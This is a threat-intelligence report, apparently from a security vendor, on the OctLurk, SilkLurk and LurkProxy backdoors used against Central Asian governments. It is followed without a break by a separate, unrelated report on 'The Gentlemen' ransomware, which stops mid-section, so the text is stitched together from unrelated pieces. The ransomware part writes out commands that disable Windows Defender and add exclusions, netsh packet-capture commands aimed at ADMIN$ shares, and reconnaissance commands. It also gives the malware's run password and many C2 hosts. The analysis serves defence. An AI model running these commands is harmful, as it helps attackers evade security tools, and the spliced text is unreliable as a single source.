Introduction

We have been tracking two new backdoors, OctLurk and SilkLurk, observed in attacks against government organizations primarily in Central Asia since January 2025. Identified victims are located in Afghanistan, Kyrgyzstan, Tajikistan, Uzbekistan, Kazakhstan, and the Syrian Arab Republic. These organizations operate across several sectors, including healthcare, research, government offices, ministries of foreign affairs, logistics, law‑enforcement agencies, urban planning and facilities management, and public educational establishments.

The backdoor loaders are customized for each victim and use information from the victim’s machine to decrypt the payload. Both the loaders and the backdoors are heavily obfuscated, making analysis more complicated. OctLurk and SilkLurk can download and inject additional plugins to perform further malicious actions, including launching command shells, performing file system activity, synthesizing keyboard and mouse events, network scanning, credential dumping, keylogging, password theft from browsers, email collection, and remote access. Furthermore, the attackers deployed a specialized utility we named LurkProxy, which we also cover in this report. While it has a highly similar architecture to the OctLurk backdoor, it is not a backdoor itself.

Our investigation shows that the same threat actor operates both SilkLurk and OctLurk , and some victims infected with SilkLurk also contain OctLurk. We assess with medium confidence that the same actor is behind both backdoors, and that they are Chinese‑speaking. However, at the time of publication, we couldn’t attribute this activity to any known group.

OctLurk

OctLurk Deployment

The attacker created a scheduled task named GoogleUpDate on remote machines using admin credentials. The task runs once with System account privileges right after it was created, executing the batch script located at C:\Users\<username>\Videos\1.bat (MD5 6ecf84fb18f6747ed08d7598364d853a). Prior to executing the task, the actor queries its status. It is then run, as shown below.

The 1.bat script creates a service named NgcCIntSvc, which loads the loader DLL named oleasapi.dll (MD5 082d49ef9f14e6811d68c7e0e82e5069). The ServiceMain parameter in the service’s registry entry is set to invoke the RegisterService function of oleasapi.dll as shown below.

LurkPoxy Deployment

In another case, the attacker at first checked connectivity to the domain dns[.]ssentialserv[.]xyz as shown below. At the time of our research, the domain was resolving to the address 154[.]196[.]162[.]76 which is used as a LurkProxy C2 server.

After confirming that the C2 server was reachable, the attacker executed the batch script C:\Users\[username]\Desktop\auto.bat (MD5 b874123a80fc4f40e06872b9cb54ebc6). The script created a service named Cusrxsrv, which loads a DLL named msbasesysdc.dll. In the service registry, the ServiceMain parameter was set to call the RegisterService function of msbasesysdc.dll as shown below.

We identified several service names — specitsrc, cmtastsvc, PNRPHostSvc, vmictimerosync, and vmicagent — that the attackers used to load a malicious DLL onto compromised machines.

OctLurk loader

The loader DLL exports two methods, Refresh and RegisterService. The previously created service first calls RegisterService, which in turn invokes Refresh, the method that contains the malicious code. To locate the payload, the loader double-XOR-decrypts and then zlib-decompresses a set of hard‑coded bytes, yielding the payload file path. The payload bytes itself undergoes the same double‑XOR decryption and zlib decompression to produce the backdoor DLL bytes.

The double‑XOR decryption uses two distinct multibyte keys:

• Key 1: hard‑coded in the loader
• Key 2: derived from the serial number of the C: drive

The backdoor DLL is reflectively injected into memory and its entry point is executed. The loader can then call the DLL’s exported methods either by name or by ordinal; both the method name and the ordinal number are hard‑coded in the loader and are decrypted using the same double‑XOR and zlib‑decompression process applied to the payload path and bytes.

OctLurk backdoor

The loader invokes the backdoor’s curl_easy_escape function (ordinal 2). The backdoor then creates a stream socket using a hard‑coded C2 address (dns[.]multitoconference[.]com) and port 443. It gathers the following information from the victim machine:

• OS information as RTL_OSVERSIONINFOW structure
• Computer name
• User name
• Local host name
• Local IP address in format %u.%u.%u.%u, with local hostname-to-IP-address translation
• Current local date and time as SYSTEMTIME struct

To encrypt the collected data, the backdoor employs a hard‑coded XOR key, which in most cases we observed was the string FDrertgr##@QEWASGkio865ehyf98foidsjzhug874392dfsREFDfdsAGH43wea98h. In addition, it generates 0x53 (83) random bytes — this length is also hard‑coded in the sample — and uses them as a second XOR key. The collected victim information is first compressed with zlib (deflate), and then XOR‑encrypted twice, first with the hard‑coded string key and then with the randomly generated byte sequence. The final data is arranged as follows:

• 0x00: randomly generated XOR key bytes (size 83 bytes)
• 0x53: compressed data size
• 0x57: compressed data in the following format: <uncompressed_size> <deflate(data)>
• 0x57 + compressed_data_size: randomly generated bytes (from 14 to 41 bytes)

The backdoor initially transmits a 16‑byte header that specifies the size of the incoming data packet, as shown below. It then sends the actual data packet.

• 0x00: randomly picked 10 chars from the string “zyxwvutsrqponmlkjihgfedcbaABCDEFGHIJKLMNOPQRSTUVWXYZ9876543210-_”
• 0x0A: \x00\x00
• 0x0C: next_packet_size

The first packet received is 16 bytes long, and its last four bytes specify the size of the subsequent data packet. The format of the subsequent data packet is shown below.

• 0x00: XOR key; size 83 bytes
• 0x53: compressed data size
• 0x57: compressed data in the format: <uncompressed_size> <deflate(data)>

The received data is decrypted using a double‑XOR method: first with the XOR key contained in the packet, then with a hard‑coded XOR key. After the XOR decryption, the data is zlib decompressed. The data may be a command or a plugin code.

OctLurk loads plugins from the C2 server directly into memory to perform various tasks. Each plugin exports two methods — ins_ctl_db and oct_lk_col — with the actual functionality implemented in oct_lk_col. Our analysis shows that the plugins listed below are commonly deployed on victim machines.

• Command Shell: provides a command shell
• File Manager: performs filesystem interaction
• Interaction Manager: synthesizes keyboard and mouse events

The table below provides a detailed description of operations performed by these plugins, where each switch case value denotes command ID.

Post-compromise activity

The attacker used the command‑shell plugin installed via the OctLurk backdoor to perform the following actions:

Victim fingerprinting

The attacker used admin credentials to create a scheduled task named GoogleUpDate on remote machines. This task runs once with System account privileges, executing the script located at C:\windows\temp\in.bat (MD5 45cf5916fab4272a1313c26e67aa9220, 4e6d5c4770d5a822d7fcce6a74f7ad73). After querying the task’s status, the attacker triggers its execution, as shown below.

The batch script runs a series of commands that collect comprehensive information about the machine’s hardware, software, and network configuration as shown in the table below. The results are saved in three files — info.txt, <hostname>.datb, and <hostname>_logs.datb — all stored in the %TEMP% directory.

Event log collection

The attackers ran commands to export successful logon events for remote interactive logons (e.g., Remote Desktop Protocol) and to query those events for specific users.

Credential harvesting

Impacket — secretsdump

Attackers ran a malicious file named Adobe.exe (MD5 32a5985543433a4f60da2fafd873b927), which is a portable‑executable version of Impacket’s secretsdump.py tool. Using this tool, they extracted password hashes from domain controllers, the critical servers in an Active Directory environment. Immediately after harvesting the hashes, they issued commands to list all members of the “Domain Controllers” group, likely to identify and target additional domain controllers for further compromise.

Keylogger

Attackers dropped and executed a keylogger located at C:\Users\Public\Pictures\AnyDesk.exe (MD5: 2a571f6cee42a17d873f4c942649813f). They then created a scheduled task named AnyDesk to run the keylogger whenever any user logged on as shown below.

The keylogger creates two files: C:\Users\Public\Libraries\msect\dev0, which stores captured keystrokes, and C:\Users\Public\Libraries\msect\dev1, which holds clipboard data. Before writing to these files, the captured data is encoded by subtracting 2 from each byte.

Browser Password Decryptor

The Browser Password Decryptor tool C:\users\[username]\libraries\64.exe (MD5 37dc84e4bcad92fa28f1e7778d088283) is used to extract passwords from browsers. The tool offers two options: -help to extract passwords from Chrome and -exit to extract passwords from Firefox. For Chrome, the tool targets the Login Data and Local State databases located at %LOCALAPPDATA%\Google\Chrome\User Data\Default\Login Data and %LOCALAPPDATA%\Google\Chrome\User Data\Local State, respectively. The Local State contains the master key, which is essential for decrypting encrypted login information stored in the Login Data database file. For Firefox, the tool targets the logins.json file located at %APPDATA%\Mozilla\Firefox\Profiles\{profile folder}. The logins.json file in Firefox stores encrypted usernames and passwords for websites.

Remote access : Pandora FMS agents (Pandora RC agent)

Pandora RC agent provides remote control of a victim’s computer, allowing attackers to monitor and manipulate the system. Using administrative credentials, the attacker creates a scheduled task named GoogleUpDate on the compromised machines. This task runs once with System account privileges and executes the script 1.bat, which can be found at either C:\Users\[username]\1.bat or C:\ProgramData\1.bat (MD5 5e26df131ff0a679a0a2699b723b46e3). The task’s status is first queried, then it is executed, as shown below.

The batch script 1.bat executes a command that downloads and installs the Pandora RC agent using the arguments shown below.

• EHUSER: a Pandora RC user
• STARTEHORUSSERVICE: start the agent after the installation finishes (default = 1)
• EHORUSINSTALLFOLDER: specify the folder where you want to install the agent (default: %ProgramFiles%\_agent)
• DESKTOPSHORTCUT: 0: do not create a desktop shortcut

Network scan: FSCAN

Fscan is a comprehensive internal‑network scanning tool that offers a range of functions, including network discovery, vulnerability assessment, reverse‑shell creation, and brute forcing of common services. The executable is dropped to %TEMP%\fc.exe (MD5: cf903e4a1629aa0582fd0363b5786676) and writes its output to %TEMP%\result.txt. Using Fscan, both internal and public networks were scanned to identify services running on specific ports, such as Secure Shell (SSH) on port 22 and MySQL on port 3306. The tool also attempted to access these services using credentials from the password file pp.txt.

Email harvesting

The attackers used the curl command to connect to an email server, authenticate with a username and password, and issue a command to select the Inbox folder. Typically, the goal is to:

• Verify that a connection to the email server is working
• Authenticate the user
• Prepare the Inbox folder for reading or manipulating messages (e.g., listing, fetching, or deleting emails)

LurkProxy

In a similar manner to the OctLurk backdoor, the attacker also deployed another implant we named LurkProxy, which uses a heavily obfuscated version of the OctLurk loader. While LurkProxy has a nearly identical architecture to the OctLurk backdoor, its primary role is to proxy network traffic. Like the OctLurk, it exports a function named curl_escape_easy, which the loader invokes. Once executed, LurkProxy listens on all interfaces on hard‑coded port 64980 and establishes a TLS‑encrypted connection to the C2 server (154[.]196[.]162[.]76). The C2 communication uses a proprietary binary protocol, where each packet is compressed with zlib, encrypted with a double‑XOR scheme, and follows the structure outlined below.

LurkProxy can function as a reverse proxy in two distinct modes as described below. The mode is selected by a static flag, meaning the proxy can operate in only one mode at a time. In the implant we examined, the first (SOCKS5) mode was used.

Mode 1: SOCKS5 proxy

When a client connects, LurkProxy sends to the C2 the command 0x1000010, indicating that the connection has been established and includes the target address in the packet data. The C2 server then opens a connection to that address, enabling bidirectional communication through the appropriate commands.

Mode 2: transparent proxy

In this mode, the target address and port are hard‑coded. Upon startup, LurkProxy immediately connects to the predefined target via the C2 channel using the same command. All subsequent client connections are routed through this single, fixed target. This mode handles raw network traffic directly, bypassing the SOCKS5 layer.

SilkLurk

Deployment

The attacker created a service that executes legitimate binaries, such as NetSetSvc.exe (NVIDIA debug dump), nvgwls.exe (NVIDIA background tool responsible for autotuning), RtkSmbus.exe (Realtek Semiconductor’s noise‑cancelling program), and RtkNGUI64.exe (Realtek High‑Definition Audio Manager), to side‑load malicious loader DLLs: nvml.dll, vulkan-1.dll, RtkSmbusLoc.dll, and RtkNGUI64Loc.dll, respectively. These DLLs act as a loader that will inject SilkLurk backdoor into the process memory.

SilkLurk loader

SilkLurk loader working logic

The loader first verifies that it is running within the legitimate executable that loads it. Next, it moves the payload file (in the analyzed sample, it was named OneDrive.dat) from its module location (C:\ProgramData\Microsoft\Network\Connections in the analyzed sample) to the hard‑coded payload path (C:\ProgramData\Microsoft OneDrive\setup in the analyzed sample). Note that the hard-coded payload path may vary depending on the loader.

Next, the loader creates a service named RmSs to maintain persistence. The service will run the legitimate module binary (C:\ProgramData\Microsoft\Network\Connections\nvgwls.exe) that loads the malicious loader (vulkan-1.dll). The service is configured with the parameters mentioned below. Additionally, the service configuration is modified to restart the service in the event of a failure. Finally, the loader starts the service.

• Service Type: SERVICE_WIN32_OWN_PROCESS
• Start Type: SERVICE_AUTO_START
• Error Control: SERVICE_ERROR_NORMAL

On service start, loader calls StartServiceCtrlDispatcher, which will invoke ServiceProc. The ServiceProc then calls the routine s_1800078F0_decrypt_and_run_payload. This routine computes a 32-bit hash (dword) of the victim’s computer name. The dword hash is used by a custom algorithm made up of arithmetic and logical operations to decrypt the hardcoded payload file path. The payload bytes themselves are decrypted with the same algorithm that decoded the file path. By using the victim’s computer name in the decryption of both the file path and the payload bytes, the loader becomes specific to each victim. The decrypted bytes contain shellcode with the following structure:

The stub code decrypts and injects the backdoor blob into memory. To decrypt the blob, it first computes a dword hash of the computer’s name. This hash is then fed into a custom algorithm — a series of arithmetic and logical operations — that performs the decryption. This algorithm differs from the one used to decrypt the payload file.

The IMAGE_DOS_HEADER of the backdoor binary is zeroed out. Information in the IMAGE_NT_HEADERS, such as ImageSize and NumberOfSections, is XOR-decrypted using the hash of the computer name. The first three sections are decrypted again using a custom algorithm (a series of arithmetic and logical operations) before being injected into memory.

During import resolution, DLL names and API names are XOR‑decrypted using a hard‑coded single‑byte key. After the import DLL is loaded and the API addresses are resolved, the DLL and API name strings are zeroed out.

During relocation, the size of each relocation block, the value of each relocation entry, and the bytes to be relocated are XOR‑decrypted using the dword hash of the computer name. Afterward, the entry point is also XOR‑decrypted with the same hash and then invoked.

SilkLurk backdoor

The backdoor contains a hardcoded configuration of 0x4AC (1196) bytes, with the first 0x10 (16) bytes holding a mutex string and the remaining 0x49C (1180) bytes comprising encrypted configuration data; this configuration is written to a hardcoded filename (e.g., 2470b666bece868f, 27879a4df1a740ff) that differs across samples and is placed in the %APPDATA% directory. The configuration is decrypted using a custom algorithm involving a series of arithmetic and logical operations that is distinct from the algorithm used to decrypt the encrypted backdoor blob and payload file. The configuration has the following structure:

The backdoor creates a TCP socket and connects to the C2 server defined in the configuration. If proxy details are provided, it attempts to establish the C2 connection through the proxy. The proxy request uses the following format:

CONNECT %s:%d HTTP/1.1
Proxy-Connection: Keep-Alive
Host: %s:%d
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/86.0.4240.75 Safari/537.36

After successfully connecting to the C2 server, it generates a random 32‑byte (0x20) network key that will be used to encrypt and decrypt network packets. This key is appended to the magic dword, as shown in the table below, creating a 40‑byte block that is then encrypted with a custom algorithm: a series of arithmetic and logical operations that differs from the one used to decrypt the configuration.

It then prepares a packet to send the key to the command‑and-control server, as shown in the table below. The packet contains a 0xC (12‑byte) header, a 0x28 (40‑byte) block of encrypted network‑key data (see the table above), and a randomly generated payload whose size ranges from 0x14 (20) to 0xB4 (180) bytes.

After sending the key, the backdoor collects the following victim information: local computer name, DNS domain assigned to the local computer, user’s logon name, processor architecture, OS major version and build number, host IP address, current process ID, tick count value, and backdoor module name. The collected victim information is first compressed and then encrypted using the network key. The custom algorithm (a series of arithmetic and logical operations) used to encrypt collected victim information is different from the algorithms used to decrypt the configuration and encrypt the network key. Before sending the victim information, a 0x0F (15) byte header is generated and encrypted using the same custom algorithm used to encrypt the collected victim data. The header follows the format as shown in the table below.

Finally, the encrypted header and victim information are formatted as shown below and transmitted to the C2 server.

<random_dword><encrypted header><encrypted victim information><random bytes>

Once the backdoor has transmitted the victim information, it waits for a 0x13‑byte (19‑byte) response from the C2 server. This response follows the structure presented in the table below.

The encrypted header contained in the response is decrypted with the network key that was generated and shared with the C2 server. After decryption, the header retains the same size and structure as the one used in the victim information message.

The message type field in the header (offset 0x04) determines which operation (command) to perform. Next, the backdoor figures out the size of the command data to receive by adding up the size of the encrypted data (found at position 0x08 in the received header) and the size of the random bytes (found at position 0x0D in the received header). The received command data is first decompressed, based on the compression flag located at position 0x0D in the received header, and then decrypted using the custom algorithm that was used to encrypt the sent data. The backdoor supports the following commands:

Post-compromise activity

The threat actor operating the SilkLurk backdoor first used it to invoke cmd.exe to launch PowerShell. Within PowerShell, they ran commands such as net use to connect to shared network resources with administrative credentials. After establishing the connection, they searched the shared drives for confidential documents to exfiltrate. Once the search was complete, they disconnected from the network share to erase evidence of which internal servers had been accessed. To archive the stolen data, they employed legitimate archiving tools: WinRAR and 7‑Zip.

Below are the paths and names of the WinRAR and 7Zip binaries used by the attackers.

Second-stage payload

PlugX

The SilkLurk backdoor opened a command shell (cmd.exe). Using this shell, the attacker executed the file C:\ProgramData\microsoft\html help\kmsonline.exe (MD5: 3c9a1ba8e0c7475706adc6376e9d7b7c). The kmsonline.exe binary acted as a dropper for the PlugX malware, deploying the malicious files listed below.

C:\ProgramData\Symantec\RasTls.exe - Legitimate Binary (MD5 62944e26b36b1dcace429ae26ba66164)
C:\ProgramData\Symantec\RasTls.dll - PlugX Loader Dll (MD5 ef59aad625eebda8650aec5820d6ce69)
C:\ProgramData\Symantec\RasTls.dll.res - PlugX Payload file

Our Kaspersky Threat Attribution Engine (KTAE) also identified a strong degree of similarity between kmsonline.exe (MD5: 3c9a1ba8e0c7475706adc6376e9d7b7c) and PlugX.

PlugX was configured to communicate with the C2 domain gycudore[.]kozow[.]com and the IP address 64[.]7[.]198[.]130. Below are the extracted configuration fields from PlugX.

Infrastructure

The threat infrastructure relies on VPS servers. Some OctLurk and LurkProxy C2 addresses are referenced in a public report by Kazakhstan’s State Technical Service (STS) company. According to available data, a campaign targeting critical infrastructure in Kazakhstan was discovered in March 2025. During this campaign, attackers employed the TrustFall (STS internal designation) remote access malware, also known as MystRodX (Qianxin) and SilentRaid (Cisco) and designed for Linux-based operating systems. Subsequently, in October 2025, STS researchers found additional TrustFall samples, while also discovering its new C2 servers via active probing. Notably, three observed TrustFall C2 addresses were also leveraged by OctLurk and LurkProxy. This overlap points to shared infrastructure across multiple OS-targeting campaigns, though it remains unclear whether these activities ran concurrently or at different times.

Attribution

We identified multiple artifacts confirming that OctLurk and SilkLurk are operated by the same threat actor. Several users infected with OctLurk were also found to be infected with SilkLurk, and in some cases both malware families used the same staging directory. Below are examples of these artifacts.

1. In one incident, the attackers created the service C:\Windows\system32\svchost.exe -k ExAstSrc -s ExAstSrc to deploy OctLurk. They used OctLurk to obtain a command shell and were observed dropping the SilkLurk loader vulkan-1.dll (MD5 be4731c09734da2e8eb6814a9c82f266) via this shell, as shown below.
   
2. In another incident, we observed attackers using the same directory C:\ProgramData\intel\ to drop both the OctLurk and SilkLurk loader DLLs.

In one incident, the attacker used SilkLurk to obtain a command shell (cmd.exe) and then deployed and executed the PlugX malware. The PlugX sample was configured to contact gycudore[.]kozow[.]com as its command‑and‑control (C2) server, while the SilkLurk backdoor used ctyuhjerf[.]kozow[.]com for C2. PlugX is a well‑known modular remote‑access Trojan (RAT) that has been active since at least 2008 and historically linked to Chinese-speaking threat actors. This suggests that both OctLurk and SilkLurk were also developed and operated by a Chinese‑speaking actor, although at this time, we cannot attribute this activity to a known threat group.

Conclusions

The emergence of the OctLurk and SilkLurk multi‑plugin malware framework highlights how threat actors continuously refine their tactics to evade detection and maintain control over compromised networks. Both families operate primarily in memory, leaving only a minimalistic loader on disk that relies on machine‑specific data (OctLurk uses the drive serial number, and SilkLurk uses the computer name) to decode payload locations and contents. This victim‑specific encoding makes reverse engineering and automated detection considerably harder.

In addition to sophisticated obfuscation, the attackers establish redundant access channels, harvest credentials, and deploy well‑known remote access and monitoring tools. These secondary pathways ensure persistence even if the original infection vector is discovered or neutralized.

Indicators of Compromise

Additional IoCs are available to customers of our Threat Intelligence Reporting service. For more details, contact us at intelreports@kaspersky.com.

Backdoor domains and IPs

OctLurk C2

dns[.]multitoconference[.]com
tj[.]tajikistandip[.]com
fm01[.]clouddevicemetrics[.]com
confbase[.]mdpsupport[.]net
digital[.]leroymerling[.]com
api2[.]annoyingremote[.]com
about[.]blsouqs[.]com
ssl[.]blsouqs[.]com
45[.]138[.]157[.]165

LurkProxy C2

dns[.]ssentialserv[.]xyz
154[.]196[.]162[.]76

SilkLurk C2

tyhbgtyuj[.]gleeze[.]com
95[.]179[.]210[.]138
wedfcvbn[.]gleeze[.]com
45[.]77[.]136[.]228
rgnojb[.]casacam[.]net
95[.]179[.]141[.]26
ctyuhjerf[.]kozow[.]com
45[.]32[.]152[.]50
212[.]11[.]39[.]138
195[.]86[.]120[.]2
uyhvfredc[.]accesscam[.]org
154[.]196[.]187[.]73
45[.]61[.]149[.]112
wedfcvbn[.]gleeze[.]com
45[.]77[.]136[.]228
gycudore[.]kozow[.]com
64[.]7[.]198[.]130

Loaders

OctLurk loader

082d49ef9f14e6811d68c7e0e82e5069 oleasapi.dll
f4578e869a735cfad691f927bae3e638 msbasesysdc.dll
7c2f64461bb519c6cbf1fc687675514c mscastrac.dll

SilkLurk loader

8269d6ba1b6842f9152c90cf7add9b93 vulkan-1.dll

PlugX dropper

3c9a1ba8e0c7475706adc6376e9d7b7c kmsonline.exe

PlugX loader

ef59aad625eebda8650aec5820d6ce69 RasTls.dll

OctLurk backdoor

a0cc7accc79abb0287aaba825d0351f0

OctLurk File Manager plugin

a56cce62930a6bee80d679b4c495a340

OctLurk Command Shell plugin

1415a78b75de7db4ba3d1e61d7db4501

OctLurk Interaction Manager plugin

a4d550a3ba0cd073fe3839b99d98a7a8

Impacket’s secretsdump (not available)

32a5985543433a4f60da2fafd873b927 Adobe.exe

Keylogger

2a571f6cee42a17d873f4c942649813f AnyDesk.exe

Browser password stealer

37dc84e4bcad92fa28f1e7778d088283 x64.exe

FSCAN

cf903e4a1629aa0582fd0363b5786676 fc.exe

Batch scripts (not available)

6ecf84fb18f6747ed08d7598364d853a 1.bat
b874123a80fc4f40e06872b9cb54ebc6 auto.bat
45cf5916fab4272a1313c26e67aa9220 in.bat
4e6d5c4770d5a822d7fcce6a74f7ad73 in.bat
5e26df131ff0a679a0a2699b723b46e3 1.bat

Archive utilities

WinRAR

18dc8bff47cc282508354771d0c8cf8c RecordedTV.exe, recordutil.exe

7zip

9a1dd1d96481d61934dcc2d568971d06 7z.exe

File paths

OctLurk file paths

C:\Users\[username]\Videos\1.bat
C:\Windows\System32\oleasapi.dll
C:\Windows\Media\Welcome01.wav
C:\windows\temp\in.bat
C:\Users\[username]\1.bat
C:\ProgramData\1.bat
C:\Windows\System32\msbasesysdc.dll
C:\Windows\System32\Waavsstrace.dll
C:\Windows\System32\SystemSettings.Publishing.dll
C:\Windows\System32\msdctries.dll
C:\Users\Public\Pictures\AnyDesk.exe
C:\Users\Public\Libraries\msect\dev0
C:\Users\Public\Libraries\msect\dev1
C:\users\[username]\libraries\64.exe
C:\ProgramData\Ehorus\
%TEMP%\fc.exe

SilkLurk file paths

C:\programdata\microsoft\network\connections\nvgwls.exe
C:\ProgramData\Veeam\EndpointData\nvgwls.exe
c:\ProgramData\microsoft\network\connections\vulkan-1.dll
C:\ProgramData\microsoft\network\downloader\vulkan-1.dll
C:\ProgramData\intel\vulkan-1.dll
C:\Users\Public\Music\vulkan-1.dll
C:\ProgramData\HP\NCCOM\vulkan-1.dll
C:\ProgramData\intel\gcc\vulkan-1.dll
C:\Windows\System32\0409\vulkan-1.dll
C:\ProgramData\veeam\endpointdata\vulkan-1.dll
C:\ProgramData\plug\vulkan-1.dll
C:\Program Files\nvidia corporation\display.nvcontainer\plugins\vulkan-1.dll
C:\ProgramData\microsoft onedrive\setup\vulkan-1.dll
C:\vmware\vmware tools\vmware vgauth\schemas\vulkan-1.dll
C:\ProgramData\nvidia\ngx\vulkan-1.dll
C:\ProgramData\microsoft\microsoft\vulkan-1.dll
C:\ProgramData\usoprivate\updatestore\vulkan-1.dll
C:\ProgramData\Microsoft OneDrive\setup\OneDrive.dat
C:\ProgramData\NVIDIA\DisplayDriverContainer1.log
C:\ProgramData\Microsoft\Diagnosis\ETLLogs\ETL.log
C:\ProgramData\NVIDI\NGX\ngx.dat
C:\ProgramData\Intel\GCC\2024.log
C:\ProgramData\veem\pyshellext.amd64.log
C:\ProgramData\Microsoft\RtkNGUI\RtkNGUI64.exe
C:\ProgramData\microsoft\rtkngui\RtkNGUI64Loc.dll
C:\ProgramData\realtek\audio\RtkNGUI64Loc.dll
C:\realtek\audio\RtkNGUI64Loc.dll
C:\ProgramData\USOPrivate\UpdateStore\Store.dat
C:\ProgramData\Microsoft\Crypto\Keys\Store.key
C:\DrvPath\Network\Lan\Realtek\NetSetSvc.exe
C:\drvpath\network\lan\realtek\nvml.dll
C:\microsoft\network\connections\nvml.dll
C:\ProgramData\microsoft\network\connections\nvml.dll
C:\Windows\System32\0419\nvml.dll
C:\veeam\nvml.dll
C:\microsoft\network\nvml.dll
C:\ProgramData\hp\nvml.dll
C:\usoprivate\updatestore\nvml.dll
c:\nvidia corporation\display.nvcontainer\plugins\nvml.dll
C:\Users\Public\Pictures\image.png
C:\Users\Public\Documents\My Pictures\image.png
C:\ProgramData\Realtek\Audio\RtkSmbus.exe
C:\ProgramData\realtek\audio\RtkSmbusLoc.dll
C:\rtksmbusact\RtkSmbusLoc.dll
C:\ProgramData\rtksmbusact\RtkSmbusLoc.dll
C:\realtek\audio\RtkSmbusLoc.dll

PlugX file paths

C:\ProgramData\microsoft\html help\kmsonline.exe
C:\ProgramData\Symantec\RasTls.exe
C:\ProgramData\Symantec\RasTls.dll
C:\ProgramData\Symantec\RasTls.dll.res

WinRAR and 7z file paths

C:\Users\[username]\Libraries\RecordedTV.exe
C:\Users\[username]\Libraries\recordutil.exe
C:\windows\vss\7z.exe

Introduction

This year saw the emergence of The Gentlemen, a prominent example of a group operating under the ransomware-as-a-service (RaaS) model. Although our initial assessment suggested the group first appeared in mid-2025, it actually started ramping up its activities at the beginning of 2026. According to public reports, in the first half of 2026, this group ranks among the top 10 ransomware actors by the number of victim announcements on its data leak site (DLS).

We have been observing the activity of The Gentlemen since February 2026 and have discovered new tactics, techniques, and procedures (TTPs) as well as custom tool development efforts, as they target large corporations and critical infrastructure worldwide. In our research, we have uncovered the group’s methods of reconnaissance, network sniffing, and many other techniques that have not been publicly described before by the wider community.

Technical details

Initial infection vector

The Gentlemen group and its affiliates usually get into victim systems by exploiting vulnerabilities in online services and using stolen or weak login credentials, as reported by multiple cybersecurity vendors. They often target devices like hardware VPNs and firewalls that are exposed to the internet, and use leaked or default credentials to gain access.

We believe the group is likely collaborating with other actors or initial access brokers (IABs) to gain access to the target organizations. While they often deploy ransomware within a few hours after initial access is obtained, our analysis of several attacks revealed some cases, in which access to the victim’s system had been established long before the ransomware was deployed. These cases involved tactics that are not typically associated with the group. This suggests that the initial breach may not have been executed by The Gentlemen at all, but rather by another group or an initial access broker.

Reconnaissance

Our investigation reveals that The Gentlemen conduct thorough internal reconnaissance using tools like SharpADWS, NetScan, Advanced IP Scanner, and netsh to map the target environment and identify vulnerabilities. SharpADWS is used to gather detailed Active Directory information, including domain object enumeration, and can bypass standard logging by wrapping LDAP queries in SOAP messages. The group also uses NetScan and Advanced IP Scanner to scan the network, discover active ports and services, and identify potential vulnerabilities, ultimately gaining a deeper understanding of the network and establishing remote control over identified systems.

Microsoft’s netsh tool is used to capture network packets and gather intelligence, executing the command cmd.exe /Q /c netsh trace start capture=yes report=no filemode=circular overwrite=yes maxSize=4 > \<target IP>\ADMIN$\{RANDOM-FILE-NAME} 2>&1 to start the capture, and cmd.exe /Q /c netsh trace stop > \<target IP>\ADMIN$\{RANDOM-FILE-NAME} to stop it.

The captured data is saved to a shared administrative folder with a random name, and can be analyzed with tools like Wireshark to reveal sensitive information such as unencrypted network activity and potential passwords, which the attackers then use to conduct targeted ransomware attacks.

Lateral movement

The Gentlemen group leverages the NETLOGON share to distribute the ransomware executable to connected computers, enabling simultaneous attacks on multiple devices. To facilitate lateral movement, they use a customized PowerShell script, deploy_gpo.ps1, with specific parameters and variables for each target system. Additionally, they employ PsExec to remotely execute the ransomware binary on targeted systems, providing an alternative method for spreading the infection when the GPO-based approach is not feasible.

Disabling security products

The Gentlemen group uses various methods to disable security software on targeted computers, including the BYOVD technique. This involves installing a vulnerable driver and exploiting its weakness to shut down security software, gain unrestricted access, and launch ransomware attacks. We observed the following vulnerable drivers used in the group’s attacks.

The Gentlemen group also uses specialized tools, including Windows Kernel Explorer and OpenArk64, to disable security software. These tools can intercept and block system calls, and even remove security drivers, allowing the attackers to bypass security measures and remain undetected.

Besides this, the group employs simple methods to disable security software, such as using kavrmvr.exe to uninstall Kaspersky Antivirus, which is prevented by the product’s behavioral detection, and modifying Windows registry settings to disable Windows Defender’s real-time protection.

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender]
"DisableAntiSpyware"=dword:00000001

[HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection]
"DisableBehaviorMonitoring"=dword:00000001
"DisableOnAccessProtection"=dword:00000001
"DisableScanOnRealtimeEnable"=dword:00000001

Last but not least, the attackers attempt to disable Windows Defender’s real-time monitoring and ransomware protection, and add itself to the exclusion list, by executing multiple PowerShell cmdlets, as observed in the Go implant, which we’ll analyze later in this post:

Set-MpPreference -DisableRealtimeMonitoring $true -Force
Set-MpPreference -EnableControlledFolderAccess Disabled -Force
Add-MpPreference -ExclusionProcess <file_name>
Add-MpPreference -ExclusionPath 'C:\\'

Go-based backdoor

We observed a custom-made implant, written in Go and deployed a day before the ransomware attack, which acted as a backdoor, enabling remote command execution. The implant collected system information (hostname, domain name, UUID, and local IP addresses) and organized it into a JSON format using a map structure with keys like name, domain, uuid, and localIPs. To obtain the system’s UUID, it used the WMI query "SELECT UUID FROM Win32_ComputerSystemProduct". It then used the Yamux library to establish a persistent bidirectional TCP connection with the C2 server at 81.177.215[.]15:9443. It sent the collected system info to the C2 and waited for operator responses, executing commands using cmd.exe /c if the response byte was 'c', or establishing a SOCKS proxy connection if the byte was 's'. This functionality likely enables The Gentlemen’s red team to pivot within the target network and expand their scan coverage.

Given the backdoor implant’s capabilities, such as establishing two-way communication, executing commands, setting up a SOCKS proxy, and gathering information, it’s clear that it can also be used to expand the attack chain as needed. In one incident, soon after the initial connection was made, we saw the server send reconnaissance commands, including:

whoami
net  group \"Domain Admins\" /domain
net group
dir c:\\
cd c:\\

Go-based ransomware

The most widespread version of the ransomware binary, written in Go, emerged in mid-2025 and has been used in most attacks since then. It features a previously unknown Go obfuscator that renames symbols, source code files, and structures, and alters function signatures, making analysis more difficult. The binary also contains embedded parameters with descriptions, indicating a sophisticated tool. The parameters are listed in the following table:

Automated system execution prevention

The Go variant of the ransomware is designed to avoid detection and prevent analysis. To execute, it requires a password, currently set to CbdU8EgF. This password acts as a barrier to prevent the binary from running in sandbox or automated environments. If the incorrect password is entered or no password is provided, the binary will terminate.

Lateral movement through GPO deployment

When the --gpo parameter is used, the ransomware spreads to other computers on the network through Group Policy. To do this, it generates PowerShell commands based on the target environment, writes them to a file called deploy_gpo.ps1 in the %temp% folder, and executes it.

